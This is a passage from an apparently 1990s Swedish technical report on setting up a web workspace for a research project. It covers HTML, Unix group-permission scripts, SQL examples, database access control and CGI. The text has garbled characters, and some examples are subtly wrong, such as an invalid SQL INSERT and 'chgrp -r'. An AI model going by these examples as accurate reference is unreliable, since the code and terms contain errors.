- anropa kommunikationsresurserna (Òden semaforerande gubbenÒ),
- hoppa till arbetsytans frontsida (Òarbete p�g�rÒ),
- djupare f�rklaring av arbetsytan (Ò?-tecknetÒ),
- s�kning i s�rskild uppslagsbok med ordf�rklaringar (ej implementerad).

Samma vokabul�r �r t�nkt att kunna anv�ndas i det f�rdiga systemet.
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Figur 18 Den station�ra resursramen i arbetsytan med navigations-,
kommunikations resurser och hj�lpfunktioner.

8 . 2 . 1 "Rapporter"

H�r ges m�jlighet att l�gga en stomme till SWEBU-rapporten vilken kan fyllas
p� av projektdeltagarna efterhand som arbetet fortskrider.

Ett enkelt verktyg f�r att skriva in text fr�n valfri persondator uppkopplad mot
Internet ges. inifr�n WWW-klienten hanteras en enkel editor (ordbehandlare)
med vars hj�lp text l�ggs in. Texten skrivs in direkt i s� kallat HTML-format
(Hypertext Markup Language). HTML �r ett m�rkspr�k. M�rkningen talar om
vilken typ av text det r�r sig om. T ex om det �r en rubrik eller om det �r
br�dtext. Notera att HTML-m�rkningen inte s�ger n�gonting om hur texten ska
grafiskt representeras i WWW-klienten utan utg�r en rent logisk m�rkning. Det
�r de lokala inst�llningarna i anv�ndarens WWW-klient som avg�r det grafiska
utseendet. M�rkelementen utg�rs av text skriven inom <>. D�refter f�ljer texten
man vill m�rka logiskt, vanligtvis avslutat med ett stoppelement som ser ut som
startelementet men som �ven inneh�ller en slash (/) f�re m�rktexten. F�r att
b�rja ett nytt dokument anv�nds f�ljande m�rken:

 <HTML>
 <HEAD>
 <TITLE>H�r skriver man en titel p� sidan som skall identifiera den i ett

globalt perspektiv.</TITLE>
 </HEAD>
 <BODY>
 H�r l�gger man in texten i dokumentet
 </BODY>
 </HTML>

Nedan f�ljer ett exempel p� hur texten i dokumentets body-del kan se ut;

<p>
Denna br�dtext hamnar i ett nytt stycke. I den
h�r texten kan man l�gga in en onumrerad lista.

<ul>
<li> det f�rsta listelementet
<li> det andra listelementet
</ul>

H�r tog listan slut och br�dtexten forts�tter
som tidigare. Man kan �ven referera till bilder.
H�r f�ljer en bild.
<IMG SRC = "bildfilnamn.gif" ALT="text om bilden
                                   ej visas">
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Filen med namnet "bildfilnamn.gif" ligger i
samma katalog som HTML-filen.

8 . 2 . 2 "M�tesanteckningar"

Under SWEBU-projektets g�ng har n�gra m�ten dokumenterats. Dessa m�ten
finns �tkomliga d� man klickar p� ÒM�tesanteckningsÒ-ikonen p� arbetsytan.
M�tesanteckningarna inneh�ller text och bilder och n�s fr�n valfri WWW-klient.

8 . 2 . 3 "Anslagstavla"

I anslagstavlan finns f�r n�rvarande instruktioner om hur datorlagrat material
kan s�ndas mellan projektdeltagarna. I anslagstavlan kan exempelvis ett
layoutf�rslag l�ggas in f�r kommentar av projektdeltagarna.

Under projektets g�ng vill man mellan de formella m�tena g�ra information
tillg�nglig f�r alla deltagarna. Anslagstavlans funktion �r att hysa denna
information. Man kan exempelvis l�gga ut en bild och lite text och samtidigt
skicka ett e-mail till hela gruppen (under ÒKommunikationÒ) f�r att
uppm�rksamma att n�got nytt �r anslaget och kanske beg�ra in synpunkter. Om
n�gon i gruppen vill ha sitt material utlagt direkt �tkomligt p� websidan g�rs
detta av systemansvarig efter uppmaning.

Anslagstavlan kan senare kompletteras med ett konferenssystem. Vi bed�mer
det ej vara n�dv�ndigt d� projektgruppen �r mindre 10 personer. E-mail
fungerar d� bra f�r kommunikation i icke-realtid. Man kan �ven sitta i ett
gemensamt telefonm�te med lokal tillg�ng till SERFIN p� WWW som st�d
under m�tet. Inneh�llet i anslagstavlan vid projektets avrapportering visas i figur
19.
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Figur 19 I ÒAnslagstavlanÒ g�rs material tillg�ngligt f�r granskning mellan de formella
m�tena.

8 . 3 KOMMUNIKATION

N�r man klickar p� ikonen som f�rest�ller en gubbe som semaforerar �ppnas ett
separat f�nster som inneh�ller kommunikationsresurserna. F�ljande resurser
finns inlagda, se figur 20, och n�s genom att man klickar p� respektive ikon.

- S�nd ett elektroniskt brev, e-mail, till alla projektdeltagarna.
- Adress till den server man skall anropa om man vill delta i en

videokonferens �ver Internet (kr�ver att man har tillg�ng till programmet
CuSeeMe fr�n Cornell University).

- E-mail till enskilda deltagare.
- Anrop av deltagares egen hemsida om s�dan finns.
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Figur 20 Kommunikationsresursen i SWEBU's arbetsyta. Hela sidan �r ej medtagen
i figuren.

Varje anv�ndare m�ste kunna koppla upp sig mot Internet. I universitetsmilj� �r
det vanligen l�ttast att koppla in sig p� ett redan existerande TCP/IP-Ethernet-
n�tverk. Dock kr�vs det att man har r�tt konfigurerad TCP/IP-mjukvara
installerad. Om forskaren befinner sig p� f�ltet eller i hemmet kan denne
anv�nda sig av PPP (Point-to-Point Protocol) (se kapitel 11.8 "PPP") �ver ett
modem eller ISDN. F�r mera station�ra f�rbindelser kan man t�nka sig att hyra
fasta telelinjer av t ex. Telia.
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8 . 4 KVALITETSS�KRING

Man skall alltid kunna se vem som lagt in information som �r tillg�nglig �ver
Internet. F�r den information som l�ggs ut av BFR finns en person som
ansvarar f�r att det som publiceras inneh�ller korrekt information, dvs st�mmer
med de projektbeskrivningar, projektdeltagare, anslagsbelopp etc som beslutats.
F�r den information som n�s via BFRÕs index (eller andra publika index)
ansvarar givetvis den lokale utl�ggaren f�r informationens �kthet och inneh�ll.

9 . Hur kan informationen lagras

De aspekter som skall beaktas vid val av informationslagringsmetod �r:

- Underh�llsaspekter.
- �tkomstaspekter, t ex s�ktid och fritexts�kningsm�jligheter.
- S�kerhetsaspekter.

De val som st�r till buds i WWW sammanhang �r filer inneh�llande dokument
av exempelvis HTML eller PDF-format eller databaser.

9 . 1 LAGRING P� FIL

9 . 1 . 1 HTML-dokument

F�rdelen med att lagra sin information som HTML-dokument �r att det enkelt
g�r att g�ra dokumentens inneh�ll s�kbara med fritexts�kning genom att
indexera dem med n�gon av de indexeringsmaskiner som finns t ex Glimpse (p�
operativsystemet UNIX), Excite (p� operativsystemen UNIX, Windows NT)
och WAIS (p� UNIX) f�r att n�mna n�gra av de program som finns att tillg�
gratis p� Internet.

Dessa s�kmaskiner kan vara lokala, dvs de indexerar bara dokumenten p� den
egna WWW-servern, eller globala, d� �ven inneh�llet p� andra WWW servers
indexeras. P� dagens Internet agerar ett antal s�dana indexeringsrobotar med
vars hj�lp det �r m�jligt att s�ka dokument globalt. Exempel p� s�dana �r Excite
(   http://www.excite.com    ), Alta Vista (   http://www.altavista.digital.com    ) .

HTML-dokument �r dag enkla att skapa �ven utan kunskaper i HTML, d� det
finns editorer d�r HTML-koden �r helt dold f�r anv�ndaren. Tillverkarna av
dessa program brukar ben�mna dem ÒWhat you see is what you getÒ,
WYSIWYG-program. Detta �r dock n�got missvisande eftersom HTML-
m�rkningen inte i detalj talar om hur layouten skall se ut d� dokumentet visas i
klienten, utan i st�llet anger vad det �r f�r typ av information som dokumentet
inneh�ller. Det �r klientens sak att avg�ra hur de ska visas.

Anledningen till att det fungerar bra �nd� �r att WWW-klienterna visar rubriker
med fet stil och br�dtext med normal stil eftersom det �r s� vi �r vana att en
rubrik skall se ut. Goda exempel p� s�dana HTML-editorer �r Claris Homepage
(f�r operativsystemen NT/Win95, MacOS), Netscape Gold (NT/Win95,
UNIX, MacOS), PageMill fr�n Adobe Systems (MacOS) och Microsoft
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Frontpage (   http://www.microsoft.com    ) Ofta blir kodkvaliteten s�mre med dessa
editorer �n om den handkodas i en vanlig texteditor. Det kan till exempel r�ra
sig om hur storlekar p� bilder specificeras mm. Kvalitetsskillnaden kan till
exempel m�rkas p� hur l�ng tid det tar ladda ned och visa en sida i en WWW-
klient. Vidare hamnar man ofta i det l�get att utseendet p� HTML-sidan i
WWW-klienten inte blev riktigt som man t�nkt sig, och att det �r n�stan om�jligt
att f� den r�tt utan att g� in och �ndra i HTML-koden.

Om man anv�nder n�got WYSIWYG-verktyg �r det d�rf�r viktigt att man har
m�jlighet att g� in i koden och g�ra manuella �ndringar, och att dessa kvarst�r
om dokumentet editeras med editorn p� nytt, �tminstone s� l�nge man inte
�ndrar i samma del av dokumentet som man �ndrat manuellt. P� s� s�tt blir det
m�jligt f�r en HTML-kunnig person att g�ra en slutkontroll och kodoptimering
av dokument, som skrivits av webtekniskt mindre bevandrade skribenter, innan
dokumenten publiceras p� WWW.

9 . 1 . 2 Serverside-includes och PUT

En annan anledning till att g� in och �ndra i r� HTML-kod kan vara att
m�jligg�ra anv�ndandet av serverside-includes, n�got som det hittills inte finns
n�gon WYSIWYG-editor som klarar. Genom att anv�nda serverside-includes
kan man l�ta WWW-servern komplettera dokumenten med detaljer som skall
finnas genomg�ende p� varje dokument som till exempel sidhuvuden och
sidf�tter. P� s� s�tt �r det m�jligt att �ndra t.ex. sidhuvud och bakgrundsf�rg
eller bakgrundsbild p� samtliga dokument p� en WWW-server med kanske
hundratals dokument bara genom att �ndra i ett enda dokument.

Man b�r dock t�nka p� att serverside-includes ej �r del av HTML-standarden
och att varje server har sina egna finesser och s�tt att utf�ra dem och att
dokumenten d�rf�r kan beh�va modifieras om man byter HTTP-server
programvara. Detta �r troligen �ven ett av sk�len till att vi inte ser n�gra HTML-
editorer med inbyggt st�d f�r dessa funktioner.

P� senare tid har det blivit vanligt med editorer som klarar av att anv�nda HTTP-
protokollets PUT-funktion f�r att l�gga in editerade sidor direkt till WWW-
servern. Exempel p� s�dana �r Netscape Gold och Microsoft Frontpage. B�da
programmen fungerar bra men Frontpage har en del �vrigt att �nska vad det
g�ller s�kerhet.

Det �r t ex mycket l�tt h�nt att anv�ndare av misstag eller okunskap l�gger in
scriptmotorer (program som exekverar script, dvs sm� programsnuttar skrivna i
ett scriptspr�k) som t.ex. Perl (Wall & Schwartz, 1991) i serverns cgi-bibliotek
(bibliotek med script). (Se �ven kapitel "9.5.1 CGI, common gateway
interface"). Detta kan f� �desdigra konsekvenser om n�gon anropar dessa
program och l�ter dem exekvera script med ol�mpligt inneh�ll. Generellt s�tt b�r
inte anv�ndare utan goda kunskaper i datas�kerhet skapa cgi-till�mpningar
eftersom fallgroparna �r m�nga.
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9 . 1 . 3 Lagringsstruktur f�r HTML-dokument

F�rutom att det b�r finnas en v�l genomt�nkt logisk struktur (se kapitel "6.4
Filstruktur f�r HTML-dokument i SWEBU") i vilken man lagrar dokument f�r
att l�sarna ska kunna hitta den information de s�ker b�r man ta h�nsyn till
WWW mediets tekniska begr�nsningar. Vissa lagringsstrukturer �r n�mligen
b�ttre �n andra ur teknisk och underh�llsm�ssig synvinkel.

L�t oss ta ett exempel: Antag att vi i v�ra dokument har en f�retagslogo, samt ett
antal bilder med pilar som vi anv�nder p� varje sida f�r navigation i v�r
dokumentstruktur. Det �r d� l�mpligt att samla dessa bilder i ett bibliotek och
l�gga en symbolisk l�nkat till denna mapp i varje annan mapp som inneh�ller
HTML- dokument som refererar till bilderna. P� s� s�tt kan man i dokumenten
alltid referera till bilderna p� samma s�tt oavsett var i dokumentstrukturen
dokumentet befinner sig. Dokumenten kan d�rigenom fritt flyttas mellan olika
bibliotek p� servern utan att man beh�ver �ndra l�nkarna till dessa bilder
varigenom risken f�r brutna l�nkar minskar och administrationen f�renklas.

Det finns dock en nackdel med detta f�rfarande. WWW klienter med lokal disk
eller minnescache kan instrueras att s�ka i denna n�r anv�ndaren beg�r en URL
(Uniform Resource Locator, se kapitel "11.6 HTTP"). Finns dokumentet redan
i cachen h�mtas det d�rifr�n i st�llet i fr�n WWW servern. Dokumentet visas
d�rigenom mycket snabbare. Om vi anv�nder symboliska l�nkar kommer varje
l�nk till bilden/ikonen att uppfattas som en ny URL och d�rmed h�mtas fr�n
WWW-servern. Detta trots att det kanske redan finns en upps�ttning med
identiska bilder lagrad i minnescachen.

9 . 1 . 4 Bildformat

Vid l�ngsamma n�tf�rbindelser (t.ex. vid modemf�rbindelser) kan l�ngsam
nedladdning av bilder irritera anv�ndaren. F�r att f� s� snabb funktion som
m�jligt b�r man alltid ange storlek p� bilderna samt en 'alternativ text' (text som
visas om bilden ej kan laddas ner) till bilderna i en WWW sida. Genom att
anv�nda bildformaten 'interlaced gif' eller 'progressive JPEG' laddas bilderna
s� att hela bilden syns direkt p� sk�rmen. Till en b�rjan med d�lig kvalitet som
dock efterhand som bilden laddas ned f�rb�ttras.

'Progressive JPEG' �r ett relativt nytt format som tar litet utrymme men �nd�
ger god kvalitet vilket inneb�r att bilderna laddas snabbare �n en interlaced gif.
Det faktum att formatet �r nytt g�r att det inte st�ds av en del �ldre WWW-
klienter som t ex Netscape 1.1. Framtidens bildformat kommer f�rhoppningsvis
att bli PNG (Portable Network Graphics) som har mycket stor bildkompression
vilket ger snabb �verf�ring. Detta format �r �ven b�ttre p� att g�ra anti-aliasing
(kantutj�mning) mot bakgrunden f�r transparenta bilder �n dagens gif-format.
PNG inkluderar �ven ett metadata filformat som g�r det m�jligt att l�gga in
beskrivande texter i bilden som s�kmaskiner kan anv�nda f�r att hitta bilden.
M�jligheter finns att lagra bilden s� att den g�r snabbare att ladda ner.

9 . 1 . 5 L�nkar mellan HTML-dokument

Om man har m�nga sammanl�nkade dokument kan det bli sv�rt att h�lla reda p�
l�nkar mellan dokumenten. Det finns dock hj�lpmedel f�r att kontrollera att alla
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l�nkar leder n�gon vart ett exempel p� s�dana verktyg �r Momspider (f�r
operativ system UNIX),. Detta genererar rapporter �ver brutna hypertext
l�nkar.

9 . 1 . 6 Beh�righetskontroll f�r dokument�tkomst

En annan nackdel med att lagra sin information direkt i filsystemet �r att
beh�righetskontrollen kommer att utf�ras av operativsystemet . M�jligheterna
att g�ra detta p� ett flexibelt s�tt �r begr�nsade i de flesta operativsystem. Ofta
kan man bara styra l�s- och skrivr�ttigheter, medan man i t ex en databas kan ge
r�ttigheter att l�gga till men inte ta bort.

I UNIX har varje anv�ndare ett eget anv�ndarnamn som han tillsammans med
ett l�senord anger f�r att logga in och p� s� s�tt f� tilltr�de till systemet. Varje
anv�ndare tillh�r alltid �tminstone en anv�ndargrupp som systemadministrat�ren
tilldelat honom d� hans konto skapades. Anv�ndarna kan f�rutom
standardgruppen tillh�ra andra grupper. Samtliga dessa anv�ndargrupper �r
skapade och definierade av systemadministrat�ren, dvs systemadministrat�ren
anger vad gruppen ska heta och vem som �r med i den.

BSD orienterade dialekter av UNIX till�ter att en anv�ndare �r aktiv i mer �n en
grupp samtidigt medan System V bara till�ter att anv�ndaren �r aktiv i en �t
g�ngen av de grupper som systemadministrat�ren tilldelat honom . F�r att byta
mellan de grupper man har tillg�ng till anv�nder man kommandot newgrp..
Under UNIX har t ex varje fil en �gare och en grupp�gare. �garen, gruppen
och �vriga anv�ndare kan ges beh�righeter att skriva, l�sa eller exekvera filen.
P� samma s�tt kan en person via sin grupp ges till�telse att �ndra en fil som �gs
av en grupp som han sj�lv tillh�r. Genom att varje registrerad anv�ndare av
systemet tillh�r en viss grupp kan man h�rigenom styra r�ttighetsf�rdelningen
bland anv�ndarna. Nedanst�ende exempel belyser vilka problem som kan
uppst� med att anv�nda systemet f�r fil�tkomst.

Antag att man vill ge tv� olika grupper av anv�ndare, ben�mnda READ och
UPDATE, olika beh�righeter f�r ett visst bibliotek i filsystemet ben�mnt
'DATA'. READ gruppen skall bara f� l�sa medan UPDATE gruppen ska ha
b�de l�s- och skrivbeh�righeter.

Vid en flyktig blick verkar detta enkelt. Man skapar tv� anv�ndargrupper READ
och UPDATE och l�ter biblioteket DATA �gas av gruppen READ. Problemet
uppst�r n�r vi uppt�cker att biblioteket DATA bara kan �gas av en grupp �t
g�ngen och s�ledes inte kan �gas av b�de grupperna READ och UPDATE
samtidigt.

I moderna UNIX system, som t ex senare versioner av Solaris (fr�n och med
version 2.5 ), finns s� kallade Access Control Lists (ACL) som l�ser detta
problem. Men p� �ldre system m�ste man ta till andra l�sningar om man �r i
behov av mera avancerad beh�righetskontroll.

En teknik �r att anv�nda ett kontrollbibliotek, CONTROL, som sk�r av
�tkomsten till underliggande biblioteksstrukturer. Om kontrollbiblioteket �gs av
gruppen READ som ges  beh�righet att l�sa och exekvera (visa inneh�ll) samt
inga beh�righeter f�r �vriga anv�ndare kommer READ-gruppens deltagare ha
beh�righet att l�sa filerna i bibliotekstr�det.
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F�r att klara av anv�ndargruppen UPDATEÕs g�rom�l m�ste vi dela upp
gruppen i tv� grupper som vi kallar READ och WRITE. Medlemmarna i den
nya READ-gruppen kommer nu att best� av medlemmarna i WRITE gruppen
samt de som fanns i den ursprungliga READ-gruppen. Med hj�lp av dessa
grupper (READ, WRITE) skapar man nu det �verordnade kontrollbiblioteket
CONTROL .

Antag att man befinner sig i biblioteket som inneh�ller biblioteket DATA. K�r
f�ljande UNIX-script som systemadministrat�r (root).

mkdir CONTROL
#skapar biblioteket CONTROL

chgrp READ CONTROL
#�ndrar grupp�garskap p� biblioteket CONTROL
#till gruppen READ

chmod g=rx, o= CONTROL
#Ger grupp�garen (READ) m�jlighet att l�sa och
#exekvera(att se filer) i biblioteket  CONTROL
#�vriga anv�ndare f�r inga r�ttigheter alls

mv DATA CONTROL
#flyttar in biblioteket DATA i biblioteket
# CONTROL

cd CONTROL
#byter aktuellt bibliotek till CONTROL

chgrp -r WRITE DATA
#L�t gruppen WRITE �ga biblioteket data och
#alla underliggande bibliotek i DATA

chmod g=rwx, o=rx DATA
#L�t grupp�garen (WRITE) f� fullst�ndiga
#r�ttigheter i biblioteket DATA. �vriga
#anv�ndare f�r bara se och l�sa filerna i DATA

cd DATA
#byter aktiva bibliotek till DATA

chmod g=rw, o=r *
#Till�ter grupp�garen(WRITE) till filerna i
#DATA f� l�sa och skriva dessa filer. �vriga
#anv�ndare f�r bara l�sa

Vi f�r d� en struktur enligt figur 10.
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drwxr-x-- root READCONTROL

DATA drwxr-x-- root WRITE

-rwxr--r-- root WRITE

DATAdrwxr-x-- root WRITE

Figur 21 Filstruktur f�r beh�righets tilldelning i BSD dialekter av UNIX. Anv�ndare i
gruppen READ f�r l�sa inneh�llet i mappen data och dess inneh�l,
Anv�ndare i gruppen WRITE f�r �ven skriva.

Systemet fungerar b�st i 'BSD' (Berkeleydialekten) orienterade UNIX dialekter
d�r en anv�ndare kan vara medlem i flera grupper samtidigt. I det h�r fallet b�de
read och write. P� 'system-V' orienterade system m�ste man manuellt byta
grupp med newgrp-kommandot f�r att f� skrivbeh�righeter. Om detta upplevs
som allt f�r omst�ndligt av anv�ndarna, eller om anv�ndarna laddar ned filerna
till servern med hj�lp av ftp och d�rigenom inte kan g�ra newgrp, finns det en
annan m�jlig l�sning.

I st�llet f�r att som i det f�rra fallet ha en READ och en WRITE grupp och
definiera UPDATE som unionen av dessa skapar man h�r grupperna READ och
UPDATE och tv� separata kontrollbibliotek READC och UPDC

mkdir READC/ UPDC/
chgrp READ READC/
chgrp UPDATE UPDC/
chmod g+rx, o= READC/
chmod g+rwx, o= UPDC/

Flytta data s� att det hamnar i biblioteket READC/DATA

chgrp -r UPDATE DATA
chmod g=rwx, o=rx DATA
cd DATA
chmod g=rw, o=r *
cd ../../UPDC/
ln -f READC/DATA DATA
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B�de READC och UPDC inneh�ller nu DATA och anv�ndare i gruppen
UPDATE kan skriva via UPDC/DATA och anv�ndare i gruppen read kan l�sa
via READC/DATA. F�r att skapa h�rdl�nkade bibliotek m�ste man p� de flesta
system vara inloggad som 'root'. Vissa system till�ter inte detta alls till exempel
Linux, och SGI Irix.

DATA

READC UPDC

DATA

drwxr-x--- root READ drwxrwx--- root UPDATE

drwxrwxr-x root UPDATE

drwxrwxr-x root UPDATE

-rw-rw-r-- root UPDATE

H�rd l�nk

Figur 22 Filstruktur f�r beh�righetstilldelning i System-V orienterade UNIX system.
Systemet bygger p� att mappen DATA f�r ytterligare ett namn (UPDC)
genom  en s.k. h�rd l�nk

Ovanst�ende exempel kan, f�rutom att anv�ndas f�r att ge verkliga m�nskliga
anv�ndargrupper olika beh�righeter �ven anv�ndas f�r att t ex l�ta en WWW
server k�ra under en viss grupp t ex READ och READC i figurerna ovan f�r att
h�ja s�kerheten i systemet.

9 . 2 LAGRING I DATABASER

Uppgifter som ofta �ndras eller anv�nds p� flera st�llen s�som t.ex. adresser
och telefonlistor l�gger man b�st i en databas. Med hj�lp av cgi-script eller java
applets (frist�ende objekt skrivna i spr�ket Java) kan dessa uppgifter sedan
presenteras f�r anv�ndarna eller uppdateras via WWW-gr�nssnittet.
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9 . 3 RELATIONSMODELLEN

Det vanligaste databashanteringsystemen �r idag s.k. relationsdatabaser.
Principen f�r dessa �r att det inte skall finnas n�gra redundanta uppgifter
lagrade.

9 . 3 . 1 Relationer

Iden bakom relationsdatabaser �r att all information t.ex. lagras p� ett och endast
ett st�lle. Detta l�ser man genom att skapa tabeller (relations p� engelska) i
databasen som har samband, relationer till varandra. Det finns tre olika sorters
relationer.

1. En till En relationer
2. En till m�nga relationer
3. M�nga till m�nga relationer

En till En relationen �r ovanlig och inneb�r att en post i en tabell h�r samman
med en post i en annan tabell. Detta inneb�r att den andra tabellen fungerar som
en f�rl�ngning av den f�rsta, varf�r man lika g�rna kan sl� ihop dem till en
tabell. Det fr�msta anv�ndningsomr�det f�r En-till-En relationer �r om man av
s�kerhetssk�l vill begr�nsa l�s eller skrivbarheten av vissa f�lt i en tabell. Man
delar d� upp tabellen i tv� och skapar en En-till-En relation d�r sekretessniv�n �r
satt p� olika s�tt f�r de tv� tabellerna.

En-till-M�nga relationen �r vanligast.
Exempel. En person kan ha m�nga telefonnummer (t.ex. mobil, fax, modem,
hem, arbete) men r�kningen betalas bara av en person.

M�nga-till-M�nga modelleras i relationsdatabasen som tv� En-till-M�nga,
M�nga-till-En relationer.

9 . 3 . 2 Fr�gespr�k mot relationsdatabaser

Exempel p� relationsdatabaser �r Microsofts SQL-server och Oracle 7.x. De
flesta relationsdatabaser arbetar med ett fr�gespr�k som heter SQL (Standard
Query Language). Det finns ISO standarder som specificerar hur detta spr�k
skall se ut. Detta underl�ttar om man skulle beh�va byta ut sin databasmotor mot
en annan om t.ex. behoven skulle f�r�ndras (�ka).

Tyv�rr �r inte alla funktioner fullst�ndigt specificerat av standarden. T.ex.
varierar fr�n tillverkare till tillverkare felhanteringskoder och metoder f�r att
ansluta till databasen.

Exempel p� SQL sats:

CREATE TABLE person(
personnr CHAR(11) PRIMARY KEY,
fnamn   CHAR(22),
enamn CHAR(30)

)
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CREATE TABLE telefon
personr CHAR(11) FOREIGN KEY
telefonnr CHAR(20) PRIMARY KEY
telfontyp CHAR(10),
kommentar VARCHAR(255)

)

L�gg till ett mobiltelefonnr till alla som heter Kalle Klehnfeldt

INSERT telfonnr, telefontyp INTO telefon
WHERE personnr=(SELECT personnr

WHERE fnamn = ÕKalleÕ AND
enamn=ÕKlehnfeldthÕ)

VALUES(Õ070-8481004, ÕmobilÕ)

F�r att hitta personer som har Kalles mobilnummer g�r vi s�kningen:

SELECT telefonnr FROM telefon
WHERE telefontyp=ÕmobilÕ AND

personnr=(SELECT personnr FROM person
WHERE fnamn=ÕKalleÕ)

person
*personr
� fnamn
� enamn

telefon
�  personr
 *telefonnr
   telefontyp
   kommentar
    

telefonnr
Ny tabell med Kalles
telefonnummer

Where-satsen

Figur 23  Exempel p� s�kning i relationsdatabas med SQL sats. (Exemplet f�rklarat i
texten).
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9 . 4 S�KERHET I DATABASER

I ett operativsystem �r den minsta skyddsv�rda enheten i b�sta fall filer. I en
databas �r granulariteten mycket finare t ex relationer (tabeller), poster (rader)
och  f�lt i poster. Detta inneb�r att vi m�ste ha mera f�rfinade hj�lpmedel f�r att
dela data i en databas �n vad som fordras p� operativsystemniv�.

9 . 4 . 1 Beh�righetskontroll via databasstruktur

Man kan i de flesta databaser definiera anv�ndare och vad dessa anv�ndare skall
f� se, �ndra, l�gga till eller ta bort. Detta kan ske genom att man strukturerar sin
databas s� att man skiljer ut de k�nsliga delarna och l�gger dem i separata
tabeller som bara vissa anv�ndare kommer �t. Man f�rlitar sig d� p� databasens
s�kerhetssystem.

Exempel hur detta kan se ut i SQL:

GRANT ALL RIGHTS ON TABLE user TO useradmin WITH GRANT
OPTION

inneb�r att anv�ndare useradmin f�r g�ra allt med tabellen 'user'. Han f�r �ven
ge andra beh�righeter att g�ra detta. Han kan dra tillbaka alla r�ttigheter han
delat ut med kommandot REVOKE. Han har d� bara m�jlighet att ta bort de
r�ttigheter han sj�lv givit.

REVOKE ALL RIGHTS ON TABLE user FROM useradmin

I ORACLE och m�nga andra databaser �r det m�jligt att skapa vyer i vilka en
anv�ndare via SELECT-satser kan g�ra sammanst�llningar fr�n en viss
s�kning, se figur 23. Dessa vyer (egentligen nyskapade relationer/tabeller) �gs
av anv�ndaren som i sin tur, om systemadministrat�ren till�tit det, kan ge andra
anv�ndare beh�righet att se vyn. F�r att kunna ge ut beh�righeter m�ste dock
�garen till vyn ha r�tt att ge ut beh�righeter f�r alla tabeller som refereras i vyn.

Vyer kan anv�ndas f�r att skapa databeroende beh�righetskontroll. I
kombination med triggers kan vyer �ven anv�ndas f�r historieberoende
beh�righetskontroll.
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Data

S�ker
DBMS

KlientKlient

Anv�ndare
med

h�g beh�righet

Anv�ndare
med

l�g beh�righet

Figur 24 Databas d�r  �tkomsten till data �r avh�ngig av hur s�kert operativsystemet
�r. All beh�righetskontroll av anv�ndare sker via databasmotorn.

Klienterna i den ovanst�ende modellen beh�ver inte n�dv�ndigtvis vara
m�nniskor utan kan vara andra program och system t ex ORACLE web agents
(OWA) som utifr�n databasen genererar WWW sidor (HTML-dokument) som
s�nds ut till m�nskliga l�sare via HTTP protokollet (Hypertext Transfer
Protocol). Vill man ytterligare h�ja s�kerheten l�ter man det ske via en s� kallad
proxy HTTP server p� andra sidan en brandv�gg.

9 . 4 . 2 �tkomst kontrollerad av operativsystemet

I andra databaser t ex mSQL anv�nder man operativsystemet f�r
beh�righetskontroll (se figur 25). Ett s�kert system skulle d� kunna skapas
enligt nedanst�ende modell. S�kerheten blir h�r naturligtvis helt avh�ngig
operativsystemets s�kerhet. Genom att ge de olika DBMSerna (Database
Management System) olika beh�righet (via operativsystemet) kan man styra
beh�righeterna f�r de b�da anv�ndargrupperna.
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Data

S�kert
OS

DBMSDBMS

Anv�ndare
med

h�g beh�righet

Anv�ndare
med

l�g beh�righet

Figur 25 Modell f�r databas d�r s�kerheten i systemet avg�rs av det operativsystem
som databasmotorn k�r under.

9 . 4 . 3 Replikering av databas

En annan m�jlighet (se figur 26) �r att anv�nda replikering och skapa en databas
som inneh�ller s�v�l skyddade som mera publika data som administrat�rer och
andra anv�ndare med h�g beh�righet har tillg�ng till och en replik d�r bara de
ok�nsliga delarna av databasen replikerats. Nackdelen med detta �r att
replikeringen av databasen sker vid vissa diskreta tillf�llen och anv�ndarna med
l�g beh�righet inte alltid f�r tillg�ng till f�rska uppgifter. Detta g�r det �ven
om�jligt f�r anv�ndarna av den publika repliken av databasen att f�r�ndra eller
l�gga till poster i det skyddade originalet eftersom en replikering fr�n den
publika till originalet skulle bryta s�kerheten.
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Anv�ndare
med

h�g beh�righet

DBMS
till

fullst�ndig databas

Anv�ndare
l�g

beh�righet

DBMS
till

publik databas

Fullst�ndig
databas

hemliga & publika
data

Replikerad
databas

endast publika
data

Brandv�gg

f

Figur 26 Tv� replikerade databaser, endast viss information replikeras s� att man i
den replikerade databasen inneh�ller den delm�ngd av den totala
informationsm�ngden som s�kert kan l�mnas ut . S�kerheten
uppr�tth�lles med hj�lp av en brandv�gg.

9 . 5 INTERAKTIVITET OCH DYNAMIK I DATABASSYSTEMEN

Det �r ofta om�jligt eller �tminstone opraktiskt att underh�lla WWW sidor med
stora datam�ngder som ofta �ndras. Genom att skapa sidor som skapas ur en
data eller regelbas i samma �gonblick de beg�rs av l�saren kan man undvika
mycket dubbelarbete (f�rutsatt att man i vilket fall som helst var i behov av
databasen).

Man kan �ven t�nka sig att uppdatera databasen fr�n formul�r p� WWW sidan
och d�rigenom g�ra det m�jligt att t.ex. l�ta personer inlagda i en databas
uppdatera sina egna adresser. Datainmatningen kommer h�rvid att ske n�rmare
k�llan och informationen blir mera p�litlig. (Naturligtvis m�ste man se till att
obeh�riga ej kan modifiera data).

Genom att anv�nda interaktivitet i sidor blir det �ven m�jligt att skr�ddarsy
vilken information som presenteras och hur den ska presenteras beroende p�
vem l�saren �r. Det �r t.ex. m�jligt att avg�ra fr�n vilket land ett anrop sker och
automatiskt ge tillbaka en sida med r�tt spr�k.

Interaktivitet i sidorna fordrar n�gon form av programmering. Denna kan ske
antingen p� servern t ex m h a cgi-script, server egna APIer (Application
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Program Interface), Java Servlets eller i klienten med Java Applets, JavaScript
eller Plug-in moduler.

9 . 5 . 1 CGI, common gateway interface

 CGI, Common Gateway Interface, �r
- En specifikation
- Den idag vanligaste formen av Klient/Server till�mpning inom WWW
- En standard f�r att s�nda data fr�n en WWW-klient till en WWW server
- En standard f�r att s�nda data tillbaka till WWW-klienterna fr�n WWW

servern

CGI utg�r gr�nssnittet mellan klient och server i WWW-baserade klient/server
till�mpningar. De program som k�r p� WWW-servern ben�mns cgi-script eller
cgi-program. De �r vanligen skrivna i spr�ken Perl , C eller direkt med UNIX
skalkommandon. F�rdelen med att anv�nda Perl �r att detta spr�k har mycket
kraftfulla metoder att manipulera texter och att Perl finns f�r de flesta mjuk- och
h�rdvaruplattformar.

Till skillnad fr�n script, som tolkas kommando f�r kommando i UNIX
skalmilj�, l�ses Perlkoden in i sin helhet och �vers�tts till maskinkod innan den
b�rjar exekveras. Detta g�r Perl mera l�mpligt �n UNIX-shell-script om man
vill g�ra ber�kningsintensiva program eller om man vill anv�nda scriptet p�
olika h�rdvaruplattformar.

Vill man ha �nnu snabbare exekvering v�ljer man med f�rdel ett kompilerande
spr�k som t ex C eller C++. En annan f�rdel med kompilerande spr�k �r att
programmens struktur inte �r enkelt l�sbar f�r det m�nskliga �gat och att man
